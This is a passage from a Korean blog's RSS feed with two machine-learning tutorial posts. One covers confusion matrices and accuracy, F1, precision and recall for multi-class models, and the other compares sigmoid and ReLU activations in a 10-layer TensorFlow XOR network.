       [0.16666667, 0.        , 0.8       , 0.03333333],
       [0.        , 0.2       , 0.05      , 0.75      ]])
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;df_cm3 = DataFrame(arr3, index = [i for i in &quot;ABCD&quot;],
                  columns = [i for i in &quot;ABCD&quot;])
plt.figure(figsize = (7,5))
plt.title('confusion matrix with normalization')
sns.heatmap(df_cm3, annot=True)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;matplotlib.axes._subplots.AxesSubplot at 0x10eb4bb00&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&amp;nbsp;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 436px; text-align: center;; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9919704E5B0BF33E06&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9919704E5B0BF33E06&quot; width=&quot;436&quot; height=&quot;336&quot; filename=&quot;output_16_1.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;text-align: center;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h1&gt;&lt;span style=&quot;font-size: 18pt;&quot;&gt;다중 분류 모델 성능 측정(accuracy, f1 score, precision, recall)&lt;/span&gt;&lt;/h1&gt;
&lt;h3&gt;1. 성능 지표(Performance measures)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Accuracy: 가장 많이 사용되는 지표, data가 balance할 때 효과적&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;F1 score: recall과 precision의 값을 가지고 조합평균(harmonic mean)을 낸 값, data가 imbalance할 때 효과적&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 400px; width: 400px; height: 556px;; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/999BA4435B0BF48C33&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F999BA4435B0BF48C33&quot; width=&quot;400&quot; height=&quot;556&quot; filename=&quot;스크린샷 2018-05-28 오후 9.06.23.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;width: 400px; height: 556px;&quot; original=&quot;yes&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Precision(confusion matrix에서 column 방향)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;정밀도, classfier가 예측한 값들 중에서 정말로 예측한 값이 맞는가?&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Recall(confusion matrix에서 row 방향)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;재현율, 클래스가 주어졌을 때 classifier가 잘 예측을 하는가?&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;div class=&quot;mathjax-block&quot; contenteditable=&quot;false&quot; cid=&quot;n340&quot; mdtype=&quot;math_block&quot; id=&quot;math-jaxn340&quot;&gt;&lt;script type=&quot;math/tex; mode=display&quot; id=&quot;MathJax-Element-248&quot;&gt;\begin{align*}
Accuracy &amp;= \frac{TP}{Total dataset \#} \\\\
Recall &amp;= \frac{TP}{(TP+FN) } \\\\
Precision &amp;= \frac{TP}{TP+FP}\\\\
F1 score &amp;=2 * \frac{Precision*Recall}{Precision+Recall}
\end{align*}&lt;/script&gt;&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4&gt;1) 개념 정리&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;TP(true positive): true를 ture로 잘 예측한 것&lt;/li&gt;
&lt;li&gt;TN(true negative): false를 false로 잘 예측한 것&lt;/li&gt;
&lt;li&gt;FP(false positive):  false를 true로 잘 못 예측한 것&lt;/li&gt;
&lt;li&gt;FN(false negative): true를  false로 잘 못 예측한 것&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 790px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99FE7E475B0BF31B03&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99FE7E475B0BF31B03&quot; width=&quot;790&quot; height=&quot;487&quot; filename=&quot;스크린샷 2018-05-22 오전 1.59.26.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3&gt;2. 예시: Model 1과 Model 2 중 어느 것을 선택해야 하는가?&lt;/h3&gt;
&lt;h4&gt;1) Balanced data&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Model 1&lt;/li&gt;

&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;arr4 = [[10,0,0,0],
       [0,5,3,2],
       [0,1,8,1],
       [0,1,0,9]]
df_cm4 = DataFrame(arr4, index = [i for i in &quot;ABCD&quot;],
                  columns = [i for i in &quot;ABCD&quot;])
plt.figure(figsize = (7,5))
sns.heatmap(df_cm4, annot=True)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;matplotlib.axes._subplots.AxesSubplot at 0x10eca5da0&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&amp;nbsp;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 415px; text-align: center;; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/995C944C5B0BF38E40&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F995C944C5B0BF38E40&quot; width=&quot;415&quot; height=&quot;319&quot; filename=&quot;output_28_1.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;text-align: center;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Model 2&lt;/li&gt;

&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;arr5 = [[8,2,0,0],
       [1,7,0,2],
       [0,0,9,1],
       [2,3,0,5]]
df_cm5 = DataFrame(arr5, index = [i for i in &quot;ABCD&quot;],
                  columns = [i for i in &quot;ABCD&quot;])
plt.figure(figsize = (7,5))
sns.heatmap(df_cm5, annot=True)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;matplotlib.axes._subplots.AxesSubplot at 0x10edd5860&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 420px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9956F1485B0BF3AB24&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9956F1485B0BF3AB24&quot; width=&quot;420&quot; height=&quot;319&quot; filename=&quot;output_30_1.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 605px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/997BEB465B0BF46811&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F997BEB465B0BF46811&quot; width=&quot;605&quot; height=&quot;671&quot; filename=&quot;스크린샷 2018-05-28 오후 9.04.17.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4&gt;2) Imbalanced data&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Model 1&lt;/li&gt;

&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;arr6 = [[100,80,10,10],
       [0,9,0,1],
       [0,1,8,1],
       [0,1,0,9]]
df_cm6 = DataFrame(arr6, index = [i for i in &quot;ABCD&quot;],
                  columns = [i for i in &quot;ABCD&quot;])
plt.figure(figsize = (7,5))
sns.heatmap(df_cm6, annot=True)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;matplotlib.axes._subplots.AxesSubplot at 0x10ed8cbe0&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&amp;nbsp;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 426px; text-align: center;; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99FC42445B0BF3D507&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99FC42445B0BF3D507&quot; width=&quot;426&quot; height=&quot;319&quot; filename=&quot;output_33_1.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;text-align: center;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Model 2&lt;/li&gt;

&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;arr7 = [[198,2,0,0],
       [7,1,0,2],
       [0,8,1,1],
       [2,3,4,1]]
df_cm7 = DataFrame(arr7, index = [i for i in &quot;ABCD&quot;],
                  columns = [i for i in &quot;ABCD&quot;])
plt.figure(figsize = (7,5))
sns.heatmap(df_cm7, annot=True)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;matplotlib.axes._subplots.AxesSubplot at 0x10ec685c0&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&amp;nbsp;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 426px; text-align: center;; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99C9904B5B0BF3E603&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99C9904B5B0BF3E603&quot; width=&quot;426&quot; height=&quot;312&quot; filename=&quot;output_35_1.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;text-align: center;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/999BD9455B0BF44830&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F999BD9455B0BF44830&quot; width=&quot;900&quot; height=&quot;676&quot; filename=&quot;스크린샷 2018-05-28 오후 9.04.38.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;** 참고&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;github:&lt;a href=&quot;https://github.com/minsuk-heo/python_tutorial/blob/master/data_science/confusion_matrix/confusion_matrix.ipynb&quot; target=&quot;_blank&quot; class=&quot;url&quot;&gt;https://github.com/minsuk-heo/python_tutorial/blob/master/data_science/confusion_matrix/confusion_matrix.ipynb&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>AI&amp;amp;BigData/Basics</category>
      <category>Accuracy</category>
      <category>confusion matrix</category>
      <category>F1 Score</category>
      <category>Precision</category>
      <category>recall</category>
      <author>eunguru</author>
      <guid isPermaLink="true">https://eunguru.tistory.com/229</guid>
      <comments>https://eunguru.tistory.com/229#entry229comment</comments>
      <pubDate>Mon, 28 May 2018 21:24:00 +0900</pubDate>
    </item>
    <item>
      <title>Lab10-1. ReLU: Better non-linearity</title>
      <link>https://eunguru.tistory.com/227</link>
      <description>&lt;meta charset=&quot;UTF-8&quot;&gt;&lt;meta name=&quot;viewport&quot; content=&quot;width=device-width initial-scale=1&quot;&gt;
&lt;title&gt;Lab10_ReLU_Better_non_linearity&lt;/title&gt;
&lt;h1&gt;ReLU: Better non-linearity&lt;/h1&gt;
&lt;h3&gt;1. XOR문제 - 9 hidden layers: poor result&lt;/h3&gt;
&lt;h4&gt;1) 소스코드&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;1 input layer, output layer, 9 hidden layers&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;sigmoid  함수 사용&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;(...)
with tf.name_scope('Layer1') as scope:
    W1 = tf.Variable(tf.random_uniform([2, 5], -1.0, 1.0), name='weight1')
    b1 = tf.Variable(tf.zeros([5]), name='bias1')
    L1 = tf.sigmoid(tf.matmul(X, W1) + b1)
with tf.name_scope('Layer2') as scope:
    W2 = tf.Variable(tf.random_uniform([5, 5], -1.0, 1.0), name='weight2')
    b2 = tf.Variable(tf.zeros([5]), name='bias2')
    L2 = tf.sigmoid(tf.matmul(L1, W2) + b2)
with tf.name_scope('Layer3') as scope:
    W3 = tf.Variable(tf.random_uniform([5, 5], -1.0, 1.0), name='weight3')
    b3 = tf.Variable(tf.zeros([5]), name='bias3')
    L3 = tf.sigmoid(tf.matmul(L2, W3) + b3)
with tf.name_scope('Layer4') as scope:
    W4 = tf.Variable(tf.random_uniform([5, 5], -1.0, 1.0), name='weight4')
    b4 = tf.Variable(tf.zeros([5]), name='bias4')
    L4 = tf.sigmoid(tf.matmul(L3, W4) + b4)
with tf.name_scope('Layer5') as scope:
    W5 = tf.Variable(tf.random_uniform([5, 5], -1.0, 1.0), name='weight5')
    b5 = tf.Variable(tf.zeros([5]), name='bias5')
    L5 = tf.sigmoid(tf.matmul(L4, W5) + b5)
with tf.name_scope('Layer6') as scope:
    W6 = tf.Variable(tf.random_uniform([5, 5], -1.0, 1.0), name='weight6')
    b6 = tf.Variable(tf.zeros([5]), name='bias6')
    L6 = tf.sigmoid(tf.matmul(L5, W6) + b6)
with tf.name_scope('Layer7') as scope:
    W7 = tf.Variable(tf.random_uniform([5, 5], -1.0, 1.0), name='weight7')
    b7 = tf.Variable(tf.zeros([5]), name='bias7')
    L7 = tf.sigmoid(tf.matmul(L6, W7) + b7)
with tf.name_scope('Layer8') as scope:
    W8 = tf.Variable(tf.random_uniform([5, 5], -1.0, 1.0), name='weight8')
    b8 = tf.Variable(tf.zeros([5]), name='bias8')
    L8 = tf.sigmoid(tf.matmul(L7, W8) + b8)
with tf.name_scope('Layer9') as scope:
    W9 = tf.Variable(tf.random_uniform([5, 5], -1.0, 1.0), name='weight9')
    b9 = tf.Variable(tf.zeros([5]), name='bias9')
    L9 = tf.sigmoid(tf.matmul(L8, W9) + b9)
with tf.name_scope('Layer10') as scope:
    W10 = tf.Variable(tf.random_uniform([5, 5], -1.0, 1.0), name='weight10')
    b10 = tf.Variable(tf.zeros([5]), name='bias10')
    L10 = tf.sigmoid(tf.matmul(L9, W10) + b10)
with tf.name_scope('Hypothesis') as scope:
    W11 = tf.Variable(tf.random_uniform([5, 1], -1.0, 1.0), name='weight11')
    b11 = tf.Variable(tf.zeros([1]), name='bias11')
    hypothesis = tf.sigmoid(tf.matmul(L10, W11) + b11)
(...)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Graph&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 748px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/996BDF3E5AFE8D072D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F996BDF3E5AFE8D072D&quot; width=&quot;748&quot; height=&quot;239&quot; filename=&quot;graph.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;h4&gt;2) 결과&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Cost가 떨어지지 않으며  Accuracy가 2개의 NN보다 나쁜 결과로 나옴&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;(...)
Step:  196000 	Cost:  0.6931472 [array([[ 0.15111303, -0.7233987 , -0.08999562,  0.4218123 , -0.38752127],
(...)
Step:  198000 	Cost:  0.6931472 [array([[ 0.15111303, -0.7233987 , -0.08999562,  0.4218123 , -0.38752127],
(...)

Hypothesis:  [[0.49999994]
 [0.49999994]
 [0.50000006]
 [0.50000006]] 
Correct:  [[0.]
 [0.]
 [1.]
 [1.]] 
Accuracy:  0.5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Cost / Accuracy graph&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 305px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99EB8F335AFE8D372D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99EB8F335AFE8D372D&quot; width=&quot;305&quot; height=&quot;538&quot; filename=&quot;스크린샷 2018-05-09 오후 10.27.31.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4&gt;3) 문제 발생의 원인: backpropagation의 문제&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Active function으로 sigmoid를 사용했기 때문에,  backpropagation에서 vanishing gradient 문제 발생&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 639px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99B4CB4C5AFE8E0A08&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99B4CB4C5AFE8E0A08&quot; width=&quot;639&quot; height=&quot;137&quot; filename=&quot;스크린샷 2018-05-09 오후 11.06.45.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;sigmoid의 결과는 0~1의 값, 입력값이 0보다 작은 경우 0에 가까운 값이 출력&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;backpropagation에서는 gradient를 chain rule에 의해 계산하는데 만약 0에 가까운 값이 계속 곱해지는 경우&lt;/p&gt;&lt;p&gt;미분값이 점점 작이지는 문제 발생&lt;/p&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Vanishing gadient의 의미&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;경사도가 사라진다&lt;/li&gt;
&lt;li&gt;학습하기 어렵다&lt;/li&gt;
&lt;li&gt;입력이 출력에 미치는 영향도가 없다&lt;/li&gt;

&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;h3&gt;2. 문제의 해결:  ReLU activation function의 사용&lt;/h3&gt;
&lt;h4&gt;1) ReLU 함수: max(0, x)&lt;/h4&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 639px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9909FB495AFE8D4B10&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9909FB495AFE8D4B10&quot; width=&quot;639&quot; height=&quot;288&quot; filename=&quot;스크린샷 2018-05-18 오후 5.10.24.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4&gt;2) 소스코드&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;ReLU activation function 사용(단, 마지막은 0~1사이의 값을 출력해야하므로 sigmoid 함수를 사용해야 함)&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;(...)
with tf.name_scope('Layer1') as scope:
    W1 = tf.Variable(tf.random_uniform([2, 5], -1.0, 1.0), name='weight1')
    b1 = tf.Variable(tf.zeros([5]), name='bias1')
    L1 = tf.nn.relu(tf.matmul(X, W1) + b1)
(...)
with tf.name_scope('Layer10') as scope:
    W10 = tf.Variable(tf.random_uniform([5, 5], -1.0, 1.0), name='weight10')
    b10 = tf.Variable(tf.zeros([5]), name='bias10')
    L10 = tf.nn.relu(tf.matmul(L9, W10) + b10)
with tf.name_scope('Hypothesis') as scope:
    W11 = tf.Variable(tf.random_uniform([5, 1], -1.0, 1.0), name='weight11')
    b11 = tf.Variable(tf.zeros([1]), name='bias11')
    hypothesis = tf.sigmoid(tf.matmul(L10, W11) + b11)
(...)
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Graph&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 671px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99B5FB4B5AFE8D661B&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99B5FB4B5AFE8D661B&quot; width=&quot;671&quot; height=&quot;814&quot; filename=&quot;relu_graph.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4&gt;3) 결과&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Cost가 낮은 값으로 출력되며 Accuracy 또한 높음&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;(...)
Step:  196000 	Cost:  0.00051748654 [array([[-0.36031628, -0.7233987 , -0.08999562,  0.7240177 , -0.73926085],
(...)
Step:  198000 	Cost:  0.0005120867 [array([[-0.3604096 , -0.7233987 , -0.08999562,  0.7241369 , -0.73939353],
(...)
Hypothesis:  [[0.00101205]
 [0.9999987 ]
 [0.9999994 ]
 [0.00101205]] 
Correct:  [[0.]
 [1.]
 [1.]
 [0.]] 
Accuracy:  1.0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;h4&gt;4) sigmoid와 ReLU 함수 사용 시 cost/accuracy graph 비교&lt;/h4&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 640px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99A02A4E5AFE8D9003&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99A02A4E5AFE8D9003&quot; width=&quot;640&quot; height=&quot;551&quot; filename=&quot;스크린샷 2018-05-18 오후 4.54.30.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3&gt;3. Non-linear activation function&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;sigmoid&lt;/li&gt;
&lt;li&gt;tanh&lt;/li&gt;
&lt;li&gt;ReLU&lt;/li&gt;
&lt;li&gt;Leaky ReLU&lt;/li&gt;
&lt;li&gt;Maxout&lt;/li&gt;
&lt;li&gt;ELU&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 640px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/995D05455AFE8DB434&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F995D05455AFE8DB434&quot; width=&quot;640&quot; height=&quot;272&quot; filename=&quot;스크린샷 2018-05-18 오후 5.12.20.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>AI&amp;amp;BigData/Deep Learning</category>
      <category>backpropagation</category>
      <category>backpropagation vanishing gradient</category>
      <category>Non-linear activation function</category>
      <category>relu</category>
      <category>tf.nn.relu</category>
      <category>vanishing gradien</category>
      <author>eunguru</author>
      <guid isPermaLink="true">https://eunguru.tistory.com/227</guid>
      <comments>https://eunguru.tistory.com/227#entry227comment</comments>
      <pubDate>Fri, 18 May 2018 18:05:19 +0900</pubDate>
    </item>
  </channel>
</rss>